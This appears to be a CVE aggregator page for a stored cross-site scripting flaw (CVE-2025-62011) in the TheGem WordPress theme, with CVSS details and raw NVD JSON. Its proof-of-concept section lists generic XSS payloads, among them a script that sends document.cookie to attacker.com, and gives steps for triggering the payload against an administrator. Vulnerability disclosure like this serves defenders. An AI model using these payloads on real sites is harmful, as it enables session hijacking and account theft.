Security Vulnerability Report
中文
CVE-2025-62011 CVSS 6.5 MEDIUM

CVE-2025-62011

Published: 2025-11-06 16:16:08
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem thegem.This issue affects TheGem: from n/a through <= 5.10.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TheGem WordPress主题 <= 5.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-62011 --> <!-- Inject in page title, custom content, or gallery description --> <!-- Method 1: Image onerror event handler --> <img src=x onerror=alert(document.cookie)> <!-- Method 2: SVG element with script --> <svg onload=alert(document.domain)> <!-- Method 3: Body onerror --> <body onerror=alert(localStorage.getItem('auth'))> <!-- Method 4: Iframe with javascript protocol --> <iframe src="javascript:alert(document.cookie)"> <!-- Real-world attack payload example --> <script> // Steal session cookies and send to attacker server fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)) </script> <!-- To test: --> <!-- 1. Login as low-privilege user (subscriber/contributor) --> <!-- 2. Create/edit a page/post using TheGem elements --> <!-- 3. Insert one of the above payloads in a text field --> <!-- 4. Save and publish --> <!-- 5. When admin visits the page, XSS will be triggered -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62011", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:07.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem thegem.This issue affects TheGem: from n/a through <= 5.10.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/thegem/vulnerability/wordpress-thegem-theme-5-10-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}